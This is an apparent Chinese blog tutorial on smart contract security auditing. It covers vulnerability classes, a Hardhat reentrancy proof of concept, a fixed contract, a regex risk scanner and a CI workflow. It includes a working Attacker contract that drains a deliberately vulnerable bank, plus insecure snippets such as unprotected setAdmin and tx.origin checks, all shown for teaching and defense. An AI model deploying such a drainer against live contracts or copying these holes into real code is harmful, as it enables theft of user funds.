跳转到内容
123xiao | 无名键客

《区块链智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建-242》

字数: 0 阅读时长: 1 分钟

区块链智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建

智能合约一旦部署,往往就很难“回头改”。这也是它和普通后端服务最不一样的地方:代码即资产入口,漏洞即真实损失。很多团队在开发阶段更关注功能能不能跑通,但真正到了主网前,才发现权限、重入、价格操纵、升级逻辑这些问题,任何一个都可能直接把项目送上安全事故复盘会。

这篇文章我会用一种偏实战的方式,带你从常见漏洞识别开始,一步步搭一个适合中级开发者和审计工程师使用的自动化检测流程。重点不是“背漏洞定义”,而是建立一个能真正落地的审计方法。


背景与问题

在智能合约安全审计里,最容易出现两个误区:

  1. 只看静态工具报告

    • 工具能帮你发现一批模式化问题,但它不是最终结论。
    • 很多高危漏洞,本质是“业务逻辑错误”,工具未必看得懂。
  2. 只做人工代码 review

    • 人工审计能理解上下文,但效率低,容易遗漏重复性问题。
    • 没有自动化流程时,回归验证也很痛苦。

所以更实际的做法是:人工分析 + 自动化检测 + 最小可复现验证 结合起来。

智能合约审计最常见的风险面

常见安全问题大致可以分成几类:

  • 资金转移类
    • 重入攻击
    • 未检查返回值
    • 错误的 ETH / Token 转账逻辑
  • 权限控制类
    • onlyOwner 缺失
    • 初始化可被任意调用
    • 升级代理权限配置错误
  • 状态一致性类
    • 先外部调用后更新状态
    • 整数边界与精度误差
    • 存储槽冲突
  • 经济模型类
    • 价格预言机操纵
    • 闪电贷攻击路径
    • 奖励计算被刷取
  • 可用性类
    • DoS with revert
    • gas 消耗不可控
    • 死锁、资金冻结

前置知识

建议你至少熟悉以下内容再往下看:

  • Solidity 基本语法
  • ERC20 交互方式
  • Hardhat 或 Foundry 的基本使用
  • 常见 EVM 调用语义:calldelegatecalltransfer

如果你是后端开发刚转 Web3,也没关系,本文会尽量用“代码是怎么出问题的”这种方式来讲,而不是只讲术语。


环境准备

本文示例用 Hardhat + Solidity + Slither,因为它们组合起来比较适合快速建立审计流水线。

安装依赖

mkdir contract-audit-demo
cd contract-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat

选择一个基础 JavaScript 项目即可。

安装 Python 工具 Slither:

python3 -m pip install slither-analyzer

如果你本机还没有 Solidity 编译器管理工具,也可以安装:

pip install solc-select
solc-select install 0.8.20
solc-select use 0.8.20

项目结构大致如下:

contract-audit-demo/
├─ contracts/
├─ scripts/
├─ test/
├─ hardhat.config.js
└─ package.json

核心原理

安全审计不是“抓 bug”,而是围绕以下几个问题展开:

  1. 谁能调用这个函数?
  2. 调用后哪些状态会变化?
  3. 有没有在状态稳定前发生外部交互?
  4. 资金流和控制流是否一致?
  5. 异常路径是否被正确处理?

我通常会把审计思路拆成三层:

  • 语法层:危险函数、可见性、低级调用、事件遗漏
  • 状态层:存储更新顺序、边界条件、权限状态机
  • 业务层:价格来源、清算规则、奖励公式、升级策略

一个简化的审计流程图

flowchart TD
    A[阅读协议文档/需求] --> B[梳理资产入口与权限边界]
    B --> C[人工代码走读]
    C --> D[静态分析工具扫描]
    D --> E[编写PoC测试]
    E --> F[修复与回归验证]
    F --> G[形成审计结论]

人工审计关注点模型

classDiagram
    class ContractAudit {
      +Assets 资金资产
      +Privilege 权限角色
      +ExternalCall 外部调用
      +StateChange 状态变更
      +Invariant 核心不变量
    }

    class Assets {
      +ETH
      +ERC20
      +NFT
    }

    class Privilege {
      +owner
      +admin
      +operator
      +proxyAdmin
    }

    class Invariant {
      +余额守恒
      +权限闭环
      +可升级安全
      +奖励不超发
    }

    ContractAudit --> Assets
    ContractAudit --> Privilege
    ContractAudit --> Invariant

从一个典型漏洞开始:重入攻击

先上一个有漏洞的合约。这个例子不新鲜,但它非常适合建立审计直觉:先转账,再更新状态,就是典型高危模式。

漏洞合约

新建 contracts/VulnerableBank.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient balance");

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        balances[msg.sender] -= amount;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

问题在 withdraw:它先给 msg.sender 转账,再扣余额。如果接收方是恶意合约,就可以在 fallback / receive 中再次进入 withdraw

攻击合约

新建 contracts/Attacker.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IVulnerableBank {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

contract Attacker {
    IVulnerableBank public bank;
    address public owner;

    constructor(address _bank) {
        bank = IVulnerableBank(_bank);
        owner = msg.sender;
    }

    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "need 1 ether");
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function collect() external {
        require(msg.sender == owner, "not owner");
        payable(owner).transfer(address(this).balance);
    }
}

实战代码:本地复现与验证

下面我们用 Hardhat 写一个可运行测试,亲手把漏洞打出来。很多人审计时只停留在“这里可能有重入”,但真正的价值在于:你能不能快速做出 PoC 证明它确实可利用

测试代码

新建 test/reentrancy.js

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("VulnerableBank Reentrancy", function () {
  it("should be drained by attacker", async function () {
    const [deployer, user, attackerEOA] = await ethers.getSigners();

    const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
    const bank = await Bank.deploy();
    await bank.waitForDeployment();

    await bank.connect(user).deposit({
      value: ethers.parseEther("5"),
    });

    const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
    const attacker = await Attacker.deploy(await bank.getAddress());
    await attacker.waitForDeployment();

    await attacker.connect(attackerEOA).attack({
      value: ethers.parseEther("1"),
    });

    const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
    const attackerBalance = await ethers.provider.getBalance(await attacker.getAddress());

    expect(bankBalance).to.equal(0n);
    expect(attackerBalance).to.be.greaterThan(ethers.parseEther("1"));
  });
});

编译与测试

npx hardhat test

如果一切正常,你会看到测试通过,说明银行合约已被攻击合约抽干。


修复方案与验证

在 Solidity 里,重入问题常见修复方法有三类:

  • Checks-Effects-Interactions 模式
  • 重入锁 ReentrancyGuard
  • 尽量减少外部调用面

这里我们先用最基础也最重要的方法:先更新状态,再做外部调用

修复后的合约

新建 contracts/SafeBank.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract SafeBank {
    mapping(address => uint256) public balances;
    bool private locked;

    modifier nonReentrant() {
        require(!locked, "reentrant call");
        locked = true;
        _;
        locked = false;
    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount, "insufficient balance");

        balances[msg.sender] -= amount;

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

修复后的测试

新建 test/safeBank.js

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("SafeBank", function () {
  it("should block reentrancy attack", async function () {
    const [deployer, user, attackerEOA] = await ethers.getSigners();

    const Bank = await ethers.getContractFactory("SafeBank", deployer);
    const bank = await Bank.deploy();
    await bank.waitForDeployment();

    await bank.connect(user).deposit({
      value: ethers.parseEther("5"),
    });

    const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
    const attacker = await Attacker.deploy(await bank.getAddress());
    await attacker.waitForDeployment();

    await expect(
      attacker.connect(attackerEOA).attack({
        value: ethers.parseEther("1"),
      })
    ).to.be.reverted;

    const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
    expect(bankBalance).to.equal(ethers.parseEther("5"));
  });
});

这一步非常关键:修复后要证明“漏洞利用路径被阻断”,而不是只是改了代码看起来更安全


自动化检测流程搭建

到这里我们已经完成了人工识别 + PoC 复现。接下来进入真正适合团队落地的部分:自动化检测流程。

第一步:使用 Slither 做静态分析

在项目根目录运行:

slither .

对上面的 VulnerableBank,你通常能看到类似重入风险提示。静态分析的优势是:

  • 快速
  • 扫描面广
  • 适合 CI 集成

但它的局限也很明显:

  • 误报存在
  • 逻辑漏洞识别弱
  • 对复杂代理模式理解有限

第二步:定制化脚本扫描高风险模式

很多团队会直接停在 Slither,这其实不够。更实用的方法是增加一层规则化脚本,比如检查:

  • call{value: ...} 是否存在
  • 是否使用 delegatecall
  • 是否有未受保护的 initialize
  • 是否存在 tx.origin
  • 是否缺少事件记录

新建 scripts/check-risk.js

const fs = require("fs");
const path = require("path");

function walk(dir, files = []) {
  const list = fs.readdirSync(dir);
  for (const file of list) {
    const full = path.join(dir, file);
    const stat = fs.statSync(full);
    if (stat.isDirectory()) {
      walk(full, files);
    } else if (full.endsWith(".sol")) {
      files.push(full);
    }
  }
  return files;
}

function scanFile(file) {
  const content = fs.readFileSync(file, "utf8");
  const rules = [
    { name: "low-level-call", regex: /\.call\{value:/g, level: "high" },
    { name: "delegatecall", regex: /delegatecall/g, level: "high" },
    { name: "tx-origin", regex: /tx\.origin/g, level: "medium" },
    { name: "selfdestruct", regex: /selfdestruct/g, level: "high" },
    { name: "block-timestamp", regex: /block\.timestamp/g, level: "low" },
  ];

  const findings = [];
  for (const rule of rules) {
    const matches = content.match(rule.regex);
    if (matches) {
      findings.push({
        file,
        rule: rule.name,
        level: rule.level,
        count: matches.length,
      });
    }
  }
  return findings;
}

function main() {
  const files = walk(path.join(__dirname, "..", "contracts"));
  let all = [];

  for (const file of files) {
    all = all.concat(scanFile(file));
  }

  if (all.length === 0) {
    console.log("No risky patterns found.");
    return;
  }

  console.log("Risky patterns found:");
  for (const item of all) {
    console.log(
      `[${item.level.toUpperCase()}] ${item.rule} in ${item.file}, count=${item.count}`
    );
  }

  const hasHigh = all.some((x) => x.level === "high");
  if (hasHigh) {
    process.exitCode = 1;
  }
}

main();

运行:

node scripts/check-risk.js

这个脚本很朴素,但很适合做团队“第一道门禁”。我自己在项目里就常这么干:先用便宜规则挡住低级错误,再把人工精力留给复杂逻辑


在 CI 中接入自动化审计

如果你们使用 GitHub Actions,可以在每次提交时自动跑测试和扫描。

新建 .github/workflows/audit.yml

name: Contract Audit Checks

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  audit:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@v3

      - name: Setup Node.js
        uses: actions/setup-node@v3
        with:
          node-version: 18

      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: "3.10"

      - name: Install Node dependencies
        run: npm install

      - name: Install Slither
        run: pip install slither-analyzer

      - name: Run Hardhat tests
        run: npx hardhat test

      - name: Run custom risk scanner
        run: node scripts/check-risk.js

      - name: Run Slither
        run: slither .

自动化检测流程示意

sequenceDiagram
    participant Dev as 开发者
    participant Git as Git仓库
    participant CI as CI流水线
    participant Tool as Slither/脚本/测试
    participant Reviewer as 审计人员

    Dev->>Git: 提交合约代码
    Git->>CI: 触发工作流
    CI->>Tool: 编译、测试、静态扫描
    Tool-->>CI: 输出风险报告
    CI-->>Reviewer: 高风险项告警
    Reviewer-->>Git: 审查与修复建议

常见漏洞识别清单

除了重入,下面这些问题在实战里也很高频。

1. 权限控制缺失

典型问题:

  • 管理函数未加 onlyOwner
  • 升级函数未受限
  • 初始化函数可重复调用

示例危险代码:

function setAdmin(address newAdmin) external {
    admin = newAdmin;
}

审计时要问:

  • 谁都能调吗?
  • 角色切换是否需要两步确认?
  • 管理员是否能直接转走用户资产?

2. tx.origin 鉴权

错误示例:

require(tx.origin == owner, "not owner");

风险在于中间合约可诱导用户发起交易,绕过预期鉴权模型。应使用 msg.sender


3. 未检查外部调用返回值

虽然 Solidity 高版本很多地方更安全了,但低级调用依然需要手动处理。

(bool ok, ) = target.call(data);
require(ok, "call failed");

如果你忽略返回值,逻辑可能会“以为成功了”,实际状态却不一致。


4. DoS with revert

典型场景是批量转账、批量结算:

for (uint256 i = 0; i < users.length; i++) {
    payable(users[i]).transfer(rewards[i]);
}

只要其中一个地址接收失败,整个交易都会回滚。解决思路通常是:

  • 改为用户自己领取
  • 用可跳过失败的结算策略
  • 分批处理,限制单次 gas

5. 价格预言机依赖过于单一

DeFi 项目里,这类问题比语法漏洞更致命。比如直接使用某个 DEX 瞬时价格作为清算依据,非常容易被闪电贷操纵。

审计时关注:

  • 是否使用 TWAP
  • 是否有价格上下限保护
  • 关键操作是否使用多源预言机

常见坑与排查

这一段我尽量写得接地气一点,因为很多问题不是“不会”,而是“工具和环境让你误判”。

坑 1:测试没复现漏洞,不代表没问题

常见原因:

  • 攻击合约 receive() 没写对
  • 触发条件不足,比如银行余额不够
  • 使用了错误的 signer
  • revert 被测试框架吞掉了

排查建议:

console.log("bank:", await ethers.provider.getBalance(await bank.getAddress()));
console.log("attacker:", await ethers.provider.getBalance(await attacker.getAddress()));

同时用 await expect(tx).to.be.revertedWith(...) 明确断言。


坑 2:Slither 报了一堆问题,但很多像误报

这是正常现象。静态工具更像“风险雷达”,不是“安全法官”。

排查思路:

  • 先按 high / medium 分级
  • 结合业务上下文判断是否可利用
  • 对真正可疑点补 PoC

一个简单原则:工具报告不能直接当结论,但必须有处理记录


坑 3:代理合约审计只看实现合约

这是我见过非常常见的失误。代理模式下,真正的风险可能出在:

  • initialize 重复初始化
  • 存储槽布局不一致
  • 升级权限可被劫持
  • 代理管理员与业务管理员混用

如果是可升级合约,请把以下几个文件一起看:

  • Proxy
  • Implementation
  • Admin / Upgrade 管理逻辑
  • 部署脚本

坑 4:以为 OpenZeppelin 就等于绝对安全

OpenZeppelin 当然很优秀,但“用了库”不等于“没有漏洞”。实战中真正出问题的常常是:

  • 库用法错了
  • 多继承顺序错了
  • 自定义逻辑绕过了库的保护
  • 升级版合约存储布局被破坏

逐步验证清单

如果你要把审计流程真正跑起来,我建议每个合约至少过一遍下面这份检查表。

基础检查

  • 编译器版本固定
  • 关键函数有事件
  • 可见性声明完整
  • 错误信息可读
  • 使用最新稳定依赖

权限检查

  • 管理函数有限制
  • 初始化函数不可重复调用
  • 紧急暂停权限边界清晰
  • 升级权限多签或延迟执行

资金检查

  • 转账前后状态一致
  • 外部调用后果可控
  • 不存在意外资金冻结路径
  • 提现逻辑支持失败恢复

业务逻辑检查

  • 核心公式边界已测试
  • 奖励/清算无超发路径
  • 预言机依赖可信
  • 非预期套利路径已评估

自动化检查

  • 单元测试通过
  • 关键攻击路径有 PoC
  • Slither 报告已审阅
  • 自定义规则扫描已接入 CI

安全/性能最佳实践

安全和性能在智能合约里经常是一起讨论的,因为 gas 成本高、回滚代价大,结构设计很关键。

1. 优先使用拉取式资金领取

相比“项目方主动给所有人发钱”,更推荐“用户自行领取奖励”。

优点:

  • 降低 DoS 风险
  • 避免批量循环 gas 爆炸
  • 更容易做权限隔离

2. 遵循 Checks-Effects-Interactions

这是老原则,但永远不过时:

  1. 先检查条件
  2. 再更新内部状态
  3. 最后做外部调用

只要你看到“外部调用在前,状态更新在后”,就该立刻警觉。


3. 对高风险操作加断言与事件

例如升级、管理员变更、大额参数调整,都应该:

  • 发事件
  • 做范围校验
  • 必要时加延迟执行

事件不是摆设,很多时候事故排查全靠它。


4. 不要过度依赖单一工具

推荐一个比较实用的组合思路:

  • Hardhat/Foundry:测试与 PoC
  • Slither:静态扫描
  • 自定义规则脚本:团队规范门禁
  • 人工 review:业务逻辑与经济模型分析

5. 对“升级性”单独做审计

可升级合约的风险面明显大于不可升级合约。要特别检查:

  • initializer/reinitializer
  • 存储布局兼容性
  • delegatecall 范围
  • 升级管理员权限

升级合约的状态关注图

stateDiagram-v2
    [*] --> Uninitialized
    Uninitialized --> Initialized: initialize()
    Initialized --> Upgraded: upgradeTo()
    Upgraded --> Reinitialized: reinitializer()
    Initialized --> Paused: pause()
    Paused --> Initialized: unpause()

如果状态机本身设计混乱,后面出问题基本只是时间问题。


一个适合团队落地的审计策略

如果你的团队人不多,不可能每次都做“全量深度审计”,那我建议按成本分层:

日常开发阶段

  • 写单元测试
  • 接入基础脚本扫描
  • 每次 PR 跑 Slither

提测前

  • 做一次人工权限和资金流走查
  • 补齐攻击 PoC
  • 审核部署脚本和初始化参数

上主网前

  • 做完整审计 checklist
  • 核心路径双人复核
  • 升级权限改为多签
  • 准备紧急暂停与告警机制

这个分层方案不花哨,但非常实用。安全建设真正难的,不是“知道很多漏洞名词”,而是让流程足够稳定,避免同一种低级错误反复出现


总结

智能合约安全审计最重要的不是记住多少漏洞,而是形成一套稳定的方法:

  • 先看资产入口和权限边界
  • 再查状态变化与外部调用顺序
  • 用 PoC 验证可利用性
  • 用静态分析和 CI 做自动化兜底
  • 对业务逻辑和升级逻辑额外提高警惕

如果你现在就想开始实践,可以按这个最小闭环来做:

  1. 选一个已有合约
  2. 手工找一类高危漏洞,比如重入或权限缺失
  3. 写测试复现
  4. 用 Slither 扫一遍
  5. 把检测接入 CI

这样走一轮,你对“审计”这件事的理解会比只看报告深很多。

最后给一个很实际的边界提醒:自动化工具能提高下限,但不能替代人工判断;人工经验能识别复杂问题,但没有流程就无法规模化。 把两者结合起来,才是智能合约安全审计真正可落地的方式。


分享到:

上一篇
《AI 智能体实战:基于 RAG 构建企业知识库问答系统的架构设计与性能优化》
下一篇
《从 Prompt 到生产力:中级开发者实战构建基于大语言模型的企业知识库问答系统》